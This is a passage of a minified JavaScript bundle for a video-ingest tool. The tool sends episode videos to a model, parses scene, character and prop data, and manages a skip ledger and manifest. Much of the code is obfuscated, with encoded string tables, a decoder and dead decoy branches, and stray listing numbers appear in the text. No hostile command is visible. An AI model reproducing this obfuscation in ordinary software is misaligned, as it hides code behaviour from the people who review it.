HUIkGUoaGUwBNUw/HUoaGEEfP+EjH+oaGEwXJ+w5LEoaGEMIHoA8LowiHUwiQ+AmIEAjGowrIoEoSoEAHoMyTUAUTEw8LEEuQo+8M+wqJos4GowCUUwhUUEoSowKMUs4QUMyTUAUTEAxTUwiL+whUUwUNUMzHEwhUUEoSoEAHowfQoMdQoEkTUAaGE+8Jow5TUwCQcbZAg90CYdLHPNMMi7LKitMRRxNMOtNIRBMGihJGiik44cq5zY655wm5lIo5zYW54k544cr5lIa5zY65PIV5zYW54k544cb6l+E57UT5PE25Q615zkm5y+z5lQl57Q/6l+E57UT55Qe55sF5lQN5y2v5ywd44cc5A6I5y6f44cb5y2N5A6K44cb5y2R55sF6zE044cb5AsN5y6f44cb5BM/5zY644cb6iIE5y+W44cb5zco5y+W5yIg5yIR5l2/55sO54US56UligXVy2f0Aw9U77YB55U45ywZ56M66zE057UF5lIa5zg95zcn5lI644co6lgQ5A6fWRFLRQlLJOxJGi/JGi7OSARLROxcT+wnP+wUPooaJ+oaGUs6UUEjQEI3QoI/H+MxQoANM+I/M+wfPEwpPUs4GoEPUUMxTooaGEwpMEs6I+I/M+wfPEwpPUs4GoEOS+wUMUEPUUMxTooaGEAyJUAyVUI3S+AxTUoaGEwiH+AnOUwpMEs6I+E6V+AiLUAyJUEHRUI9RowCUUAxTUw7UUERI+AwScbZy2vUzEoaGUs4Gos4QIbZy2vUzsdLJ6RLHPNKUidKUkRKUlSGBg9JyxrPB27VVjVLKiZKUidOV57NU63LNlRLHOxNMOtKURRNIANPGkdLNOVLJ5JLJjBKUi3MMk/LIiBLNlRNKiBNLlhJGiik44cq54Q25Ocb5y+y5yYw5lIo5zY65yAf6lwe5lQN44cr5lQ654MP5O2I5Pw05Awx5PYn6kof44cb56wB55Ey44cb5yEp6yEn44cb6kgW6icb44cb5y+y6lQR44cb6isX6kgJ5B2I5OIq5y+V5OYb57UT5PAW5Asw6kEc5PE277Ym5OQk5y+y5yYw5yQO5l2C5yAz5ywL5B2t5yMnihnJzw5LioEAHcbZAg90C+oaGMnOyxjHy3rLCNmG5lIT5zcm5lIa6kEe6iYd5zcn5y+Q5yE6546W5lIa5QYH77YB6k+L5P2H55Qeihn0yxrLCYdMMk/MNkZLNlRLH7RNJRdOV4FNMOtLHAJPG6JNQlpLRPRPGkdLNOVPM4BLKiJVViZKUi3OG73MVi/MJONLJ5JLJjBLIy3MIjBLJ5JLJjBLKi7NIRBMGihVViZKUz/KUi3MJiNLHyJLKi7MI4BMIjdPH43LPi3KURRNIANJGilLJ5JLJjBLIy3LKi4GC2HVDhmG5yAz5PIo5B2t5PE255Qe54Q25Ocb5zcn5zkm5y+V6kEb5BEU5BYc44cb5A6E6zMf5y+y5yYw5PE26zE077YB5zUE5B+g44cb5BM75OoZ44cb57o757UF6Ake5RYu5OYj55s76z2I5OMa5BgE6zI25Q6157Ur5A6A77Ym5lIn6io95OYj6zUg5y+357UN5OM/546W5A6E5B2t5yMn54Q25Ocb44cc5zYW54k56kkR5Q+b5OIw5ywZ6zsU6ygt5yw35PIo5PI+5y+y5B2I5PE255M76k6W5A+55BQu5PAWihn0yxrL44cc5Oof57UQ44cb5AE/5Ocb5zkm5lIa5QYH5OcN5yQO5l2C5l+D55wz5zYOihnOB3rZioEAHcb2Axn1ywZVViZKUi3LU7RNQ4SGC3rHDgxJGiik44cq6ycq6zwC6l+y5y6F44crC2HVDhmG5PIV54US56Ul5yIg6zwC5RIf5y2v44cc5Q+p5QYH5yIh6zwC6yo95zYO6lw35AEl5PE26zE05PAW5AkE5lIa5P2HihnOB3tVViZLJBpKVB/LROpPH43LPi3LSzxNPlRKUyVLIy3NMOtLIQJKVzZMIjBMSQhMNiNMLRdLIAFMG4xVViZKUz/OPOhKV53NLzNJGilOV57NU63PLzZLPltLHOxNMOtMMA/LIkVJGihMI43MKytOP5lLUQBJGihMNlRKVy3JGihPLzZLPltNP7VLIQJJGihMNOtLM77JGihNHkBNGRNMIjBNLlVPNAlKUlVKVzpLJ5JLJjBVViZKU6xLJ4RMR4/KUkRMLRdLIQJKVzZJGihLJ43LUPtJGihMJQxOP6yV5yIg5BYa44cb6ygt5yw35Pon5l2C5lIo57Ut5P6C44cb6l+B5yE65zY644cb56E75yQO44cb5AE/5yQ/l+ACNEwqKs/OP4BNUR/MIjBNQBRPL7tLHBpNS7VLJ5JLJjBVViZPG73LNkJLRP7PMyxLJ5hNLj/ML7BLJ6BLOP4GC2HVDooaGUs4JEw+L+AkIUwfIowqJUwpKEEuN+EAHowiHUMvNoAiLUwkQos9NowoI+E8QEAiKowjP+AdHEAMGUI/SooaGGRJGjbZAg90lMnHBwvYyEoaKEwpQUwgMEwoN+EjH+wpR+INGEoaGEwpR+wKJEEoSoEAHoArHow9SEs/OEAbR++8MUI/NoAzRY/LHAJMMA8V5lIT5PMVl+I/KEAzRY/NIBNLHPNNRyNMMA/LIkVVViZKV6/MI40V5lUW5OUnl+w5S+INHI/KVQFPNAiV6iom6z2I562j6kEs5BQM77Ym5zU65A6A44cb5O6O44cb5OUj44cb5Pgh44cb56E744cb6lEF44cb546V57Uv44cb5y2h6zMn44cb54sM54k56l2S56E7562j5y+V56gU6k6K55Qe6l+q6zwC77Ym5lUL5y+k5yMn5PMVl+s4REAzRY/LKi7MMA/JGihNLlVPNAlLT6BLJ7pJGihPGA7MJkhLKOZKUlVKVzpLJAdKVy3JGilLIiFPLzZJGihLJ43MIzpJGihMJ5lLHAxPLzZLPltJGihKUlVOP4lPLzZLPltJGihNQBRPLzZLKOZPH43LPi3PLzZLPltPG73LPOlLRP7KV53NLzNJGilKUi3MJQJMTyVNLlVPNAlML6dMS5xNOA7ORQtNMOtPLzZLPltLJ4lMLBdJGihPLzZLPltLNOVLJ7FJGihNGA/LHyNORR7NVA7MIjBMI43MKytMHi/LM77JGiik44cq56Uz5l2n5lIo5OYb57UT54Q25Ocb44cr5Q+p5zY656YS5lIa5lIQihnOB3qG55QeihzPC3vHBcdLU7RNQ4VNLlVPNAlLJ6/NOA7ORQtNMOtKURRNIANNQ5NKVy0V5z2q5y2N5l2n572U44cb5lIo5zYW54k55zU65A6A5y+c54wN54MP55Qe5ywZ57o744cb5lQ654MP5lMl6zE055Qe6l+C6l+r5lIo5yMn5zco5BEM5y+Z44cb5AE/5Ocb44cb6z2I5zcr44cb6kEg57Q/44cb5O6L6kEM5zkm5Q2J5zYO6l+B6kgm55Qe6kgm5lI644cc5zco57UT5yIh6zwC6iUL5PI+56s65PAW55Qe5P6e5zU+5ywZ57o777Ym5yAz5RIf5lQ654MP5zYO55s76z2I5BEMl+wpS+oaGEwjJEAzRY/KUk3MMA8V5zco5PMV55Qe5l2n572U77YB6iUL5lQ654MP6l+B5yE644cb56E75yQO44cb6l2S6lQR44cb5Ps55y+y5AE/5yQ/44cb5RoO6kEg5A+56lgH44cb5O6L6kEM5OIw5yIg5BYa77Ym5yAz5RIf5y+y5yYw5yMn5zco55Qe5ywZ57o744cc5OYb57UT54Q25Ocb5lIn5zUG5A+555M96icm5AsX5Pwi77Ym5l2g5Q+p5QYH5yIh6zwC5lUn6zYa5yAz6k+L6zwC5As05A6E6zMf5zgi546W55Qe5P6e5zU+5zkm5lI75l2t44cccUoaKoMaKowpPEwVUEEzVEs4JUwqJoACN+IHQoA8LowVUEM9KokaLokaLoACRos7U+wkOEwUJoAiKoMxQooaKEs4UUAVJ+ADOsb2B2LJzsdLJzxNI6ZLM57NNiVOR6xLJ6xLVidLP4VLIy3LIldOR7tLROZNMOtNLlVPNAlVViZNOA7ORQtOR7tOR53OGixLKOZLKiZLNlRKURRNIANLVzpML7BNMOtLJ6/OP4hLIQJKVzZJGihOOAJMG4xJGihOP4BNUR/JGihLP7/MGihJGihMJQxOP6BLKOZKVy3NVA7LHBpNS7VLT7lLNkGGC2HVDhmG5lIT5yEg56gU5OM/6l2944cc5lIo6l+z5y+L6k+D5zcm5PE25y+r55sF44cb5lIn54US56Ul5Ps55y+y6l+E57UT5OcN55Qe55+T5l+d6kgO5RYu5y+V5yAz5ywL6k+LihzVAwnLioEAHcbWyxjLBNrOzxrPy2fS77YB6lwW5l2n44cb5AE/5yQ/5y+y5yYw44cb5O6L6kEMl+wiHUw8GooaGEMbK+wfT+AtJEs9NoAiLUEPUUMxTowfS+EZU+wpMowmLUwgMEwfPEwVUEw6LoAxTUMxToEAHcbZAg90lNzPC3vHBooaGUs4JEw+L+IUQEwVUEEzVEAxTUMxToEcUEwWHUATO+wCQowpKEEuN+EAHowpR+INGEIHQoA8LowpMoAiKowVUEEzVEs5I+wqJUEAHowkQos9NooaGGRJGjbZAg90lNzPC3vHBooaKEs9V+EuQos6UUEjQEINHoImG+wqJE+8JowgMEA4HEIHJowkQoIaHEoaGEwkQos9NooaGEs9NoEuQowVUEIXOEoaGEEPUUMxToAwUEwqKEwsJowpR+INGEE7K+AENooaGUwpQUwgMEwfT+s9K+wpR+INGEEAHoECIEECVooaGEwyToMdQooaGEwrVowqUooaGEINHUE6V+oaGEAjI+wkV+oaGEwNV+AaGEoaGEAoPEINPUoaGEENU+wkQooaGEMbK+wfT+wsJoEoR+wIG+wpMowmLU+8Jos4JEEuQoAePoAaKUoaGEEePUIzKEoaGEwNLowXIooaGEE7NEACM+oaGEMCH+AdIUoaGEwtGoAXGUoaGEwySUIUVEETIEAdHEE7QUoaGEAaGEw6PUAiLUw/G+EqHUwiPoAwREs7O+ABV+EuU+MDOUs6I+wUNUoaGUwpQUwgMEwoN+EjH+IdVEwKN+EHRUIUPoEAHos6I+wUNU+8M+ECI+s4JEA4HEEAHos9JEE9RUoaGEACNEwqKEoaGEIHQoAdHEAiLUwkQos9Nos4JEwgME+8Jos4JEIHPEMaOooaGNn5BM9WC2LZiowpR+s7PEAMGUAlRowjP+AdHE+8JhnOB3rZios4JEw+L+wgMEAiKowjP+AdHEAIL+AMGUoaGGRJGjdMRApMLOFKUi7PGkdLNOVJGjhOP5lOIBlNMOtMJihNU63MNi3OO4xMLBtKVzpPGkdLNOVNLleGy2HHCMfJDgvYCY5ZDgf0zxmG5zkm5lQ654MP6lwe5lQN5OM/6l2977Ym54US56Ul54MP5lU255Qe5Asw6kEc55sXihbYB3bZioAjV+I9VE+8M3nOB3qUDMLZDwfSiowgMEAyJUw9K+AxTUEAHos6UUEjQEoaGEMbK+wfT+wpIUAtJEs9NowfS+EZU++8Jow5TUIUSow9LEAmGEE7REMaOowEI+EAHowpR+INGEwpMowmLUAiLUs6UUEjQEs4JUAxTUAUTEEAHow/HEIMGEwmUUwiHUoaGGRJGjb2B2LJzxpJGjhKURRNIANLR7NKU5BKURROR7tLH7RNMOtLO7dPN7pLHPKGA2LUzd1KBgFVVjVPN7pOVAJPH4ZLRP7PMyxLKkZLIldJGihMMi7NOA7LSz7KUO7MN5dOP5lOIBlNMOtLHOxLV4pNI6ZNMB3MIjBNRkZKUidKURRNP7dOH6ROV7dLHPKGA2LUzd10AgLUA+oaGNnWzwfRzxiG5l2/55sO6kEs6iMY6kEe6iYd5zcn77YB5A6I6kEc5y+z6l+W6icf5OIw6lQR5lU95PEG5Rov56gU6k6K55Qe5PEb55M95yAzihnWzwfRzxi944coyNjVywrJyxn0oUAxGEEzVEoaJ++8M+EuTEIVNEoaGEw5V+AsREAiLUIUVUwKH+s4REEAHoAyJUEHRUIVToIVNEs6UUwCQcbWyxjLBNrOzxrPy2fSioAGH+AyJUwJSoA6KooaGUwpQUIUSow9LEMFS+I9QowUNUMzHEIHQoI+VUEAHowgHEw/G++8Jos4JEIeKEIHPEACQUIVTowhUUEAHow/G+EqHUoaGMnVBNrLBNqG5l+D55wz5y6F6k+D77YBCgfYzw50Agv0AwnHBcdLJ6/LHPNLJ6/NOA7ORQtNMOtLJ5hLO7dMLRNLVi/JGihLO7dPN7pMNAxMUPdMIjBLKiZMNj/NN63KV4pOOAJMVjtVViZKVyBMKytLVBhOSipLUQBLKOZLVBhLK43OV57NU63MGkFNMOtLIQJKVzZLJ6RLHPKGC2HVDhpJGilLR7NNMB3OT6JOTORLIiFPLzZJGihPLzZLPltKUlVKVzpLJ5JLJjBMIjBNI6ZNQ4VLIQJKVzZML7BVViZLNkJLR7NLUPtML7BPL7tNGRNMJiNLJP/LO7dOH6RNHlBOR63LJ6xMI4BLIiBVVjVKUi3LVPFMIOROT6JLPjRKUkRPLzZLPltNMOtLPjRLJ6xLJ7dOR43LKiJLUBBMIjdKUidMNAhJGilKUktKURRLKiZML7BOR7tOR53ML7BOVPpLH7RNM7JPGRVKUktMNAeGDM9Py2xVViZNRkZKUOZMNAeGCgfYzw50Agv0AwnHBcdKU6xJGi7LKiZML7BJGi/LVidLPltJGilLHBFKVzpLJzxKURRKVB/NLkJOP4tOJipLKi3VVjVML6dMS5xLJlRLIiBMIjdLKzJNMOtKVjFKURRJGihNVQtKVjFJGihOT6/KURRNRyNLHBhLKiZLJ5hLO7dML7yGC3bLywTLCIdLHPNJGi5NCM91CdRNVQtKVzpLKi3JGi/VViZKUi3LIjFLHAuGy2HHCMfJDgvYCYdLKOWGCMvNAxn0CNLFzgvSDghJGiik44cq6jkz5AsQ5Awh44cr5zcm5zYW54k56l+E57UT6jkz5AsQ5Awh5l+D55wz5lIa5zY677YB6lEO5zYW54k56jkz5AsQ5Awh5OYj5yMQ6l6r6Ag65BQp5OUg5OIq5AsA5lIQ55+TihnJzw5L77Ym5Q+p5zY657Ur5A6A6iEQ5BEX55QeigXVy2f0Aw9U44cby2HHCMfJDgvYC+oaGxbYB3bZiowsJcbZDgf0zE+8Jow5TUEuQcbZAg90CYdMMi7NOA7OKPNLPkRLPyFLVidLP4VJGihLIiFMJAlLKOZNU5pMNz/JGii","su5hrvnux1zjrevpx1rjtuvtvefnuf9nsvntsu5h","oIbZzxjPywWGB3v0Chv0ihDHCYbUB3qGDMfSAwqGsLnptIaOzMLUAxnOuMvHC29Upq","y2XVC2vK","ywrK","C3rHDgvZ"];return Rl=function(){return e},Rl()}var Ay=W(148),HA=Ay[W(135)](W(95),W(31))[W(135)](W(92),W(126))[W(38)](W(69),W(75))+`
313
- `+xy;function QA(e,t,n=W(49)){let o=W,i=t[o(87)]()?o(122)+t+`
314
- `:o(41);return(n===o(49)?o(129)+e+o(51):o(129)+e+o(102))+o(90)+i}function vl(e,t){let n=W;return new S(e,{exitCode:X,errorCode:n(4),hint:n(111),data:{actual:t}})}function mn(e,t){e=e-0;let n=Rl(),o=n[e];if(mn.gvzNbS===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};mn.rVtMKx=i,mn.XIRwsR={},mn.gvzNbS=!0}let r=n[0];mn.VEyRMQ!==r&&(mn.XIRwsR={},mn.VEyRMQ=r);let s=mn.XIRwsR[e];return s===void 0?(o=mn.rVtMKx(o),mn.XIRwsR[e]=o):o=s,o}var Ml=e=>{let t=W;return typeof e===t(37)?e[t(135)](/\u0000/g,""):Array[t(106)](e)?e[t(9)](Ml):pt(e)?Object[t(89)](Object[t(25)](e)[t(9)](([n,o])=>[n,Ml(o)])):e},pt=e=>typeof e===W(143)&&e!==null&&!Array[W(106)](e),te=e=>typeof e===W(37)?e[W(87)]():"",ze=e=>Array[W(106)](e)?e:[],ky=e=>te(e),FA=e=>[...new Set(ze(e)[W(9)](ky)[W(112)](Boolean))],Sy=e=>{let t=W,n=[];for(let o of ze(e)){if(!pt(o))continue;let i=ky(o[t(79)]);if(!i)continue;let r=te(o[t(130)]),s=n[t(20)](c=>c[t(79)]===i);s?!s[t(130)]&&r&&(s[t(130)]=r):n[t(113)]({name:i,description:r})}return n},YA=[W(93),W(64),W(109),W(50),W(117),W(86),W(110),W(46),W(67),W(84)],Ol=e=>{let t=W;if(!pt(e))return;let n={apparent_gender:"",apparent_age:"",face_shape:"",brows_eyes:"",nose:"",mouth:"",skin_features:"",hair:"",build:"",persistent_marks:ze(e[t(2)])[t(9)](te)[t(112)](Boolean),voice:""};for(let o of YA)n[o]=te(e[o]);return n},Iy=e=>{let t=W;if(!e)return Number[t(77)];let n=e[t(82)](":")[t(9)](Number);return n[t(123)](o=>!Number[t(131)](o))?Number[t(77)]:n[t(132)]===2?n[0]*60+n[1]:n[t(132)]===3?n[0]*3600+n[1]*60+n[2]:Number[t(77)]},qA=(e,t)=>{let n=W;return e?t?e[n(135)](/[。!?;]+$/,"")+"\u3002"+t:e:t};function ZA(e){let t=W,n={synopsis:"",scenes:[],registry_delta:{new_entities:[],enrich:[],canonicalize:[]},open_threads:{opened:[],closed:[]}};if(!pt(e))return n;n[t(142)]=te(e[t(142)]);for(let r of ze(e[t(120)])){if(!pt(r))continue;let s={},c=te(r[t(5)]);c&&(s[t(5)]=c);let a=To(r[t(98)]);a&&(s[t(98)]=a);let d=new Map;for(let g of ze(r[t(124)]))if(t(99)===t(115)){let w=_0x28f195[t(87)]()?t(122)+_0x3c282b+`
315
- `:t(41);return(_0x5cc2cb===t(49)?t(129)+_0x5ec3ea+t(51):t(129)+_0x19d812+t(102))+t(90)+w}else{if(!pt(g))continue;let w=te(g[t(79)]);if(!w||dt(w))continue;let h=d[t(7)](w)??{name:w,states:[]};for(let _ of FA(g[t(153)]))h[t(153)][t(21)](_)||h[t(153)][t(113)](_);d[t(96)](w,h)}let p=[],l=new Set;for(let g of ze(r[t(104)])[t(9)](te)[t(112)](Boolean)){let w=g[t(12)](t(8))[t(135)](/\s+/g," ")[t(87)]();!w||l[t(127)](w)||(l[t(152)](w),p[t(113)](g[t(87)]()))}let f=[];for(let g of ze(r[t(65)])){if(!pt(g))continue;let w=qA(te(g[t(88)]),te(g[t(16)]));if(!w)continue;let h={kind:t(28),content:w},_=gr(g.ts);_&&(h.ts=_),f[t(113)](h)}for(let g of ze(r[t(34)]))if(t(107)!==t(107))!_0x2b34d2[t(130)]&&_0x254684&&(_0x20c8b3[t(130)]=_0x4e8978);else{if(!pt(g))continue;let w=te(g[t(144)]);if(w!==t(138)&&w!==t(78))continue;let h=te(g[t(136)]);if(!h)continue;let _={kind:w,content:h},x=te(g[t(94)]);x&&(_[t(94)]=x);let E=te(g[t(125)]);E&&(_[t(125)]=E);let A=gr(g.ts);A&&(_.ts=A),f[t(113)](_)}f[t(76)]((g,w)=>{let h=t;if(h(61)!==h(61))throw _0x507431(h(40)+_0x1ad531+h(150)+_0x539c10[h(0)]+")",[_0x3d1d43[h(45)](0,200)]);{let _=Iy(g.ts)-Iy(w.ts);return _!==0?_:g[h(144)]===h(28)&&w[h(144)]!==h(28)?-1:g[h(144)]!==h(28)&&w[h(144)]===h(28)?1:0}});let u={environment:s,characters:[...d[t(48)]()],props:p,anchors:f},y=te(r[t(91)]);y&&(u[t(91)]=y);let m=te(r[t(105)]);m&&(u[t(105)]=m),n[t(120)][t(113)](u)}let o=pt(e[t(24)])?e[t(24)]:{};for(let r of ze(o[t(53)])){if(!pt(r))continue;let s=te(r[t(79)]),c=te(r[t(144)]);if(!s||c!==t(133)&&c!==t(105)&&c!==t(81)||c===t(133)&&dt(s))continue;let a={name:s,kind:c,status:te(r[t(118)])===t(60)?t(60):t(68),importance:te(r[t(72)])===t(119)?t(119):t(6)},d=ze(r[t(108)])[t(9)](te)[t(112)](Boolean);d[t(132)]&&(a[t(108)]=d);let p=Ol(r[t(58)]);p&&(a[t(58)]=p);let l=te(r[t(101)]);l&&(a[t(101)]=l);let f=te(r[t(62)]);f&&(a[t(62)]=f);let u=Sy(r[t(153)]);u[t(132)]&&(a[t(153)]=u);let y=ze(r[t(42)])[t(9)](te)[t(112)](Boolean);y[t(132)]&&(a[t(42)]=y),n[t(24)][t(53)][t(113)](a)}for(let r of ze(o[t(73)])){if(!pt(r))continue;let s=te(r[t(79)]);if(!s)continue;let c={name:s},a=ze(r[t(22)])[t(9)](te)[t(112)](Boolean);a[t(132)]&&(c[t(22)]=a);let d=Ol(r[t(44)]);if(d&&(c[t(44)]=d),pt(r[t(17)]))if(t(141)===t(32))_0x205ab8[t(113)]({name:_0x2c6987,description:_0x41492a});else{let y=Ol(r[t(17)][t(134)]);y&&(c[t(17)]={profile:y,recognition_anchors:ze(r[t(17)][t(108)])[t(9)](te)[t(112)](Boolean)})}let p=te(r[t(101)]);p&&(c[t(101)]=p);let l=te(r[t(62)]);(l||c[t(17)]&&typeof r[t(62)]===t(37))&&(c[t(62)]=l);let f=ze(r[t(36)])[t(9)](te)[t(112)](Boolean);f[t(132)]&&(c[t(36)]=f);let u=Sy(r[t(13)]);u[t(132)]&&(c[t(13)]=u),Object[t(18)](c)[t(132)]>1&&n[t(24)][t(73)][t(113)](c)}for(let r of ze(o[t(80)]))if(t(63)!==t(26)){if(!pt(r))continue;let s=te(r[t(59)]),c=te(r[t(29)]);s&&c&&n[t(24)][t(80)][t(113)]({from_name:s,canonical_name:c,evidence:te(r[t(43)])})}else{if(!_0x28a036(_0x2159b7))return;let s={apparent_gender:"",apparent_age:"",face_shape:"",brows_eyes:"",nose:"",mouth:"",skin_features:"",hair:"",build:"",persistent_marks:_0x1c031e(_0x44c2c3[t(2)])[t(9)](_0x27b370)[t(112)](_0x19b9b9),voice:""};for(let c of _0x250303)s[c]=_0x4445(_0x416699[c]);return s}let i=pt(e[t(145)])?e[t(145)]:{};for(let r of ze(i[t(97)]))if(t(140)===t(140)){if(!pt(r))continue;let s=te(r[t(14)]);s&&n[t(145)][t(97)][t(113)]({text:s})}else{let s=_0x1d0009(_0x5217a9.ts)-_0xe2352c(_0x560256.ts);return s!==0?s:_0x19269b[t(144)]===t(28)&&_0x4b8995[t(144)]!==t(28)?-1:_0x8fb93a[t(144)]!==t(28)&&_0xc64c1f[t(144)]===t(28)?1:0}for(let r of ze(i[t(151)])){if(t(30)===t(57))return new _0x5753a7(_0x470b23,{exitCode:_0x6caba4,errorCode:t(4),hint:t(111),data:{actual:_0x391dd4}});{if(!pt(r))continue;let s=te(r[t(128)]);s&&n[t(145)][t(151)][t(113)]({ref:s})}}return n}async function by(e,t,n,o,i,{format:r=W(49),signal:s,local:c,onTimestampMissing:a}={}){let d=W,p=r===d(49),l="";for(let f=0;;f++)if(d(56)!==d(3)){let u=await e[d(66)]({media:t,system:p?HA:Ay,user:QA(n,o+l,r),fps:i,...p?{acceptsText:Ey}:{responseJsonSchema:Zg},...c?{localPath:c[d(83)],localMime:c[d(54)]}:{},...s?{signal:s}:{}}),y=u[d(14)][d(87)]();if(y[d(132)]<40)throw vl(d(40)+n+d(19)+u[d(0)]+")",[d(15)+y[d(132)]]);let m;try{m=p?bl(y)[d(114)]:JSON[d(100)](y)}catch{if(d(10)!==d(33))throw vl(d(40)+n+d(150)+u[d(0)]+")",[y[d(45)](0,200)]);_0x2ba042[d(153)][d(21)](_0x38f37b)||_0x210b20[d(153)][d(113)](_0x35eab7)}let g=Ml(m),w=ZA(g);if(w[d(120)][d(132)]===0)throw vl(d(40)+n+d(139),[y[d(45)](0,200)]);let h=w[d(120)][d(85)]((x,E)=>x[d(121)][d(85)]((A,k)=>A.ts?[]:[d(146)+E+d(70)+k+d(52)+A[d(144)]+")"]));if(h[d(132)]>0)if(d(103)!==d(103)){let x=_0x4ae78c(_0x4cb0aa[d(17)][d(134)]);x&&(_0x1e843b[d(17)]={profile:x,recognition_anchors:_0x4a05d2(_0x2260df[d(17)][d(108)])[d(9)](_0x22caa4)[d(112)](_0x270eae)})}else{if(a?.({event:d(47),at:new Date()[d(71)](),episode:n,attempt:f+1,missing_count:h[d(132)],missing_paths:h,retries_exhausted:f===3}),f===3)throw new S(d(23)+n+": "+h[d(132)]+d(27),{exitCode:X,errorCode:d(149),hint:d(11),data:{actual:h}});l=d(137)+h[d(132)]+d(147)+h[d(74)]("\u3001")+d(39)+d(p?116:55)+d(1);continue}return{transcript:p?y[d(135)](/\u0000/g,""):JSON[d(35)](g,null,2),output:w}}else _0x22a139=_0x2af6a8?_0x1bbcff(_0x2b6a02)[d(114)]:_0x487dae[d(100)](_0x12e947)}function ic(e){return new S("The video skip ledger is invalid.",{exitCode:b,errorCode:"INGEST_SKIP_LEDGER_INVALID",hint:"Repair or remove skipped.json, then retry.",data:{actual:[e]}})}function WA(e){if(typeof e!="object"||e===null||Array.isArray(e))return null;let t=e;if(!Number.isInteger(t.episode)||Number(t.episode)<=0||typeof t.skipped_at!="string"||typeof t.reason!="string"||t.reason.trim().length===0||typeof t.source_sha256!="string"||t.source_sha256.length===0||!Array.isArray(t.attempts))return null;let n=fs(t.failure);if(!n)return null;let o=[];for(let i of t.attempts){let r=fs(i);if(!r)return null;o.push(r)}return{episode:Number(t.episode),skipped_at:t.skipped_at,reason:t.reason,source_sha256:t.source_sha256,failure:n,attempts:o}}function Ll(e){if(!e.has("skipped.json"))return{schema_version:1,episodes:[]};let t=e.readJson("skipped.json");if(typeof t!="object"||t===null||Array.isArray(t))throw ic("root must be an object");let n=t;if(n.schema_version!==1||!Array.isArray(n.episodes))throw ic("schema_version must be 1 and episodes must be an array");let o=[],i=new Set;for(let r of n.episodes){let s=WA(r);if(!s)throw ic("one or more episode records are malformed");if(i.has(s.episode))throw ic(`episode ${s.episode} appears more than once`);i.add(s.episode),o.push(s)}return o.sort((r,s)=>r.episode-s.episode),{schema_version:1,episodes:o}}function vy(e,t){e.writeJson("skipped.json",t)}function rc(e,t){let n=new Map(t.map(o=>[o.episode,o.sha256]));for(let o of e){let i=n.get(o.episode);if(i!==o.source_sha256)throw new S("The video skip ledger no longer matches the source.",{exitCode:b,errorCode:"INGEST_SKIP_SOURCE_MISMATCH",hint:"Restore the source episode recorded by this workspace, or rebuild the same source with --force.",data:{actual:[`episode=${o.episode}`,`ledger_sha256=${o.source_sha256}`,`source_sha256=${i??"<missing>"}`]}})}}function XA(e){return{episode:e,synopsis:"",scenes:[],actors:[],locations:[],props:[],speakers:[],actorStates:[],locationStates:[],propStates:[]}}function sc(e,t,n,o){let i=new Set(o.map(s=>s.episode)),r=[];for(let s of t){if(s.episode>n)break;let c=`ep/ep_${String(s.episode).padStart(3,"0")}.json`;e.has(c)?r.push(e.readJson(c)):i.has(s.episode)&&r.push(XA(s.episode))}return r}function hs(e,t,n){for(let i of n)i.episode<=t.lastEpisode&&e.clearError(`ep/ep_${String(i.episode).padStart(3,"0")}.error.json`);let o=new Map(n.map(i=>[i.episode,i]));for(;;){let i=t.lastEpisode+1;if(!o.has(i))break;Oh(t,i),e.writeJson("context.json",t),e.clearError(`ep/ep_${String(i).padStart(3,"0")}.error.json`)}return t}function Oy(e,t){for(let n of t){let o=e.episodes[n.episode-1];o&&(o.extend={scriptctl:{ingest:{outcome:"skipped",source_episode:n.episode}}})}}var ys="19",ek=new Set([ys]),bi=e=>String(e).padStart(3,"0"),Nl=2;function My(e){try{return kt.statSync(e).size}catch{return 0}}function tk(e,t){let n=My(e);if(!(n<jd))throw new S(`Episode ${t} is too large for inline base64 video input.`,{exitCode:b,errorCode:"INGEST_VIDEO_INLINE_TOO_LARGE",hint:"Use --upload-mode file-api, or provide a source that transcodes below the Gemini inline limit.",data:{expected:[`video smaller than ${jd} bytes after ingest transcoding`],actual:[`${n} bytes`]}})}function Ry(e,t){try{let n=t.uploadBytes?(t.uploadBytes/1024/1024).toFixed(1):"?",o=JSON.stringify({...t,uploadMB:n,at:new Date().toISOString()})+`
316
- `;kt.appendFileSync(e.path("timing.jsonl"),o)}catch{}}function Ly(e){return new S("This workspace's accepted video sequence no longer matches the source.",{exitCode:b,errorCode:"INGEST_SOURCE_MISMATCH",hint:"Restore the accepted episode prefix, or choose a fresh --workspace-path for a different source.",data:{actual:[e]}})}function Ul(e){if(!e.has("manifest.json"))return null;let t=e.readJson("manifest.json");if(!t.pipeline_version||!ek.has(t.pipeline_version))throw new S("This workspace uses an incompatible video-ingest pipeline.",{exitCode:b,errorCode:"INGEST_PIPELINE_MISMATCH",hint:"Choose a fresh --workspace-path and run ingest again.",data:{actual:[`workspace pipeline ${t.pipeline_version??"(missing)"}; current ${ys}`]}});return e.readJson("manifest.json")}function Pl(e,t){if(t.pipeline_version===ys)return t;let n={...t,pipeline_version:ys,updated:new Date().toISOString()};return e.writeJson("manifest.json",n),n}function nk(e,t,n){if(e&&e.source.kind!==t)throw Ly(`source kind changed from ${e.source.kind} to ${t}`)}function ok(e,t,n,o){if(t){let i=Qh(t.episodes,n);if(i.kind==="incompatible")throw Ly(i.reason)}if(o){kt.rmSync(e.path("ep"),{recursive:!0,force:!0}),kt.rmSync(e.path("cache"),{recursive:!0,force:!0}),kt.rmSync(e.path("evidence"),{recursive:!0,force:!0});for(let i of["context.json","script.initial.json","script.json","validation.json","asset-audit.json","id_map.json","timing.jsonl","usage.json","v4_identity_map.json","skipped.json"])kt.rmSync(e.path(i),{force:!0})}}function ik(e,t){return e.map(n=>{let o=structuredClone(n);for(let i of o.actors)i.name=hr(i.name,t)??i.name;for(let i of o.scenes){for(let c of i.characters)c.name=hr(c.name,t)??c.name;i.location&&(i.location=hr(i.location,t)??i.location);let r=[],s=new Set;for(let c of i.props){let a=(hr(c,t)??c).trim();if(!a)continue;let d=a.normalize("NFC").replace(/\s+/g," ").trim().toLowerCase();s.has(d)||(s.add(d),r.push(a))}i.props=r;for(let c of i.anchors)c.speaker=hr(c.speaker,t)}return o})}function rk(e,t){let n=t.slice(0,8).map(o=>`- ${o.path}: ${o.message}`).join(`
312
